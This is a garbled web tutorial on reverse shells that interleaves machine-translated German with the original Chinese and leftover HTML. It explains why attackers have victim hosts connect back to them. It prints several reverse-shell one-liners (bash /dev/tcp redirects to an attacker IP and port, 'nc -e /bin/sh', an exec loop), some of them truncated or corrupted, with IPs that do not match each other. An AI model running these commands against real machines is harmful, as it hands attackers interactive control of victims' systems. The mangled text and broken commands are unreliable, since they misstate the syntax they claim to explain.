Heim >Betrieb und Instandhaltung >Sicherheit >Was bedeutet Rebound-Shell?
* Feierliche Erklärung: Dieser Artikel ist auf technische Diskussionen und Weitergabe beschränkt und die Verwendung auf illegale Weise ist strengstens untersagt.
Rebound shell
bedeutet, dass das Kontrollende einen bestimmten TCP/UDP
-Port abhört und das kontrollierte Ende eine Anfrage an den Port initiiert und diese sendet Befehlszeileneingabe und -ausgabe gehen an die Steuerungsseite. shell
,就是控制端监听在某TCP/UDP
端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。
通俗点说,反弹shell
就是一种反向链接,与正向的ssh
等不同,它是在对方电脑执行命令连接到我方的攻击模式,并且这种攻击模式必须搭配远程执行命令漏洞来使用。
为什么要反弹shell
? 通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器,这是比较常规的形式,我们叫做正向连接。远程桌面,web
服务,ssh
,telnet
等等,都是正向连接。
那么什么情况下正向连接不太好用了呢:
1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2.它的
ip
会动态改变,你不能持续控制。3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹shell
。
我们用bash
远程代码执行漏洞实例来了解一下他的原理
攻击端:10.100.40.5 受害机:192.168.197.136
首先我们需要在攻击端去监听端口,通过这个端口来接收受害机反弹的shell
在攻击端输入命令nc -l 2333
然后在受害机执行命令
bash -i >& /dev/tcp/10.100.40.5/2333 0>&1
我们就发现,在我们的攻击端已经成功出现了我们的受害端的shell
,在我们的攻击端就能对受害端来进行下一步操作
例如:
(1)bash -i
bash
是linux
的一个比较常见的shell
,是许多Linux
发行版的默认Shell
。-i
这个参数的意思是产生交互式的shell
(2)./dev/tcp/ip/port
/dev/tcp|udp/ip/port
这个文件是特别特殊的,实际上可以将其看成一个设备(Linux
下一切皆文件),其实如果你访问这个文件的位置他是不存在的,如下图:
(3) 但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket
通信
我们输出字符到/dev/tcp
这个文件中
受害端:
攻击端:
(4) 下面我们在看将输出转移到到受害端,在攻击端继续监听2333
端口,并且在攻击端输入内容回车就会出现在受害端。
(5)这样思路就比较清晰了,下面再说交互重定向:
为了实现交互,我们需要把受害者交互式shell
shell
eine Art Rückwärtslink, der sich von Forward ssh
unterscheidet. Es handelt sich um einen Angriff, der Befehle auf dem Computer der anderen Partei ausführt, um eine Verbindung herzustellen auf unserer Seite, und dieser Angriffsmodus muss mit einer Sicherheitslücke bei der Remote-Befehlsausführung verwendet werden. Warum Rebound shell
? Es wird normalerweise verwendet, wenn das kontrollierte Ende durch eine Firewall eingeschränkt ist, keine Berechtigungen vorhanden sind und der Port belegt ist. Angenommen, wir greifen eine Maschine an und öffnen einen Port auf der Maschine. Dies ist eine konventionellere Form. Remote-Desktop, Web
-Dienst, ssh
, telnet
usw. sind alles Vorwärtsverbindungen. Unter welchen Umständen ist die Vorwärtsverbindung nicht einfach zu verwenden:
🎜1. Ein Client hat Ihr Netzwerkpferd getroffen, aber es befindet sich im LAN und Sie können keine direkte Verbindung herstellen. 🎜🎜2. Seine ip
ändert sich dynamisch und Sie können ihn nicht kontinuierlich steuern. 🎜🎜3. Aufgrund von Einschränkungen wie Firewalls kann der andere Computer nur Anfragen senden, aber keine Anfragen empfangen. 🎜🎜4. Es ist nicht bekannt, wann das Opfer mit Viren oder Trojanern infiziert wird, wie die Netzwerkumgebung der anderen Partei aussieht und wann der Computer ein- und ausgeschaltet werden muss. Daher ist es am besten, einen Server einzurichten und Schadprogramme zuzulassen sich aktiv zu vernetzen. 🎜
🎜Dann ist Rebound leicht zu verstehen. Der Angreifer gibt den Server an und der Host des Opfers stellt eine aktive Verbindung zum Serverprogramm des Angreifers her, das als Rebound shell
bezeichnet wird. 🎜🎜0x01 Rebound-Shell-Demonstration🎜🎜Wir verwenden das Beispiel einer bash
-Sicherheitslücke bei Remotecodeausführung, um das Prinzip zu verstehen🎜🎜Angriffsende: 10.100.40.5 Opfermaschine: 192.168.197.136🎜 blockquote >🎜Zuerst müssen wir den Port auf der Angriffsseite abhören und diesen Port verwenden, um die vom Opfercomputer zurückgesendeteShell
zu empfangen. Geben Sie den Befehlnc -l 2333 ein
am Angriffsende. 🎜🎜🎜🎜Dann führen Sie den Befehl auf dem Opfercomputer aus 🎜bash -i > /dev/tcp 10.100.40.5/2333🎜🎜🎜Wir haben festgestellt, dass auf unserer Angriffsseite dieShell
unserer Opferseite erfolgreich angezeigt wurde und wir den nächsten Schritt auf der Opferseite auf unserer Angriffsseite ausführen können🎜🎜🎜🎜Zum Beispiel: 🎜🎜🎜🎜0x02 Prinzip🎜2.1 Prinzip des Befehls der Rebound-Shell
🎜(1)bash -i
🎜🎜bash
ist eine gängigeShell
vonlinux
und ist Wird von der Standard-Shell
vielerLinux
-Distributionen verwendet.-i
Dieser Parameter bedeutet, eine interaktiveShell
🎜🎜(2)./dev/tcp/ip/port
/dev/tcp|udp/ip/port
Diese Datei ist etwas ganz Besonderes. Tatsächlich kann sie als Gerät betrachtet werden (alles unterLinux
-Datei). Wenn Sie auf den Speicherort dieser Datei zugreifen, ist sie tatsächlich nicht vorhanden, wie unten gezeigt: 🎜🎜🎜🎜(3) Wenn Sie diese Datei jedoch lesen und schreiben, während eine Partei den Port abhört, können Siesocket
erreichen, während der Server abhört der Port. >Kommunikation🎜🎜Wir geben Zeichen in die Datei/dev/tcp
🎜🎜Victim Ende:🎜🎜🎜🎜Angriffsende: 🎜🎜🎜🎜(4) Als nächstes schauen wir uns die Übertragung der Ausgabe an das Opferende an und hören weiterhin auf den2333
Port auf der Angriffsseite und wenn der Angreifer den Inhalt eingibt und die Eingabetaste drückt, wird er auf der Opferseite angezeigt. 🎜🎜🎜🎜🎜🎜(5) Auf diese Weise wird die Idee klarer, lasst uns darüber reden die Interaktion unten Richtung: 🎜🎜Um eine Interaktion zu erreichen, müssen wir die Ausgabe der interaktivenShell
an die Angriffsmaschine umleiten. 🎜🎜Auf der Opfermaschine eingeben: 🎜bash -i 🎜Dann finden wir Unabhängig davon, welcher Befehl eingegeben wird, wird kein Echo angezeigt und die Standardausgabe des Angriffsendes wird an das Angriffsende weitergeleitet. 🎜🎜🎜🎜<p><img src="https://img.php.cn/upload/article/000/465/014/168379352250437.jpg" alt="Was bedeutet Rebound-Shell?"></p><p>这样只是回显而已,并没有办法在攻击端直接执行命令。</p><p>(6)所以我们还需要将攻击者输入的指令输入给受害者的<code>bash</code>:</p><pre class="brush:php;toolbar:false">bash -i <p>这样就会做到在攻击端输入命令,回显到受害端:</p><p><img src="https://img.php.cn/upload/article/000/465/014/168379352319852.jpg" alt="Was bedeutet Rebound-Shell?"></p><p><img src="https://img.php.cn/upload/article/000/465/014/168379352339852.jpg" alt="Was bedeutet Rebound-Shell?"></p><p>(7)最重要的在与怎么将两个操作结合起来,实现在攻击端输入攻击端输出,我们需要将输出输入都绑定到<code>/dev/tcp</code>这个文件下。</p><p>命令:</p><pre class="brush:php;toolbar:false">bash -i > /dev/tcp/10.100.40.5/2333 0>&1受害端:
攻击端:
我们发现完全实现了我们的需求,在攻击端执行命令,并且回显,这个命令,做到了输入0是由
/dev/tcp/192.168.146.129/2333
输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.156.129/2333
上,这就形成了一个回路,实现了我们远程交互式shell
的功能。
我们发现还是有一个小问题,我们可以看到,虽然命令执行结果在攻击端回显,但是受害端依然是有命令回显的,
所以我们需要解决这个问题
命令 :bash -i > /dev/tcp/10.100.40.5/2333 0>&1 2>&1这样命令就不会回显到受害端了。
就算是错误输出也会输出到攻击端,这样就达到了我们的目的。
2.2 常见反弹shell方法
(1) 方法一
bash -i>& /dev/tcp/10.100.40.5/2333 0& /dev/tcp/10.100.40.5/2333 0<p>这两个几乎是一样的唯一的区别是<code>0>&1</code>和<code>0,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别。</code></p><p>(2) 方法二</p><pre class="brush:php;toolbar:false">bash -i >& /dev/tcp/10.100.40.5/2333 & /dev/tcp/10.100.40.5/2333 0<p>(3) 方法三</p><pre class="brush:php;toolbar:false">exec 5/dev/tcp/192.168.146.129/2333;cat &5 2>&1;done 0/dev/tcp/attackerip/4444; sh &196 2>&196(4) 方法四
nc -e /bin/sh 10.100.40.5 2333
Das obige ist der detaillierte Inhalt vonWas bedeutet Rebound-Shell?. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!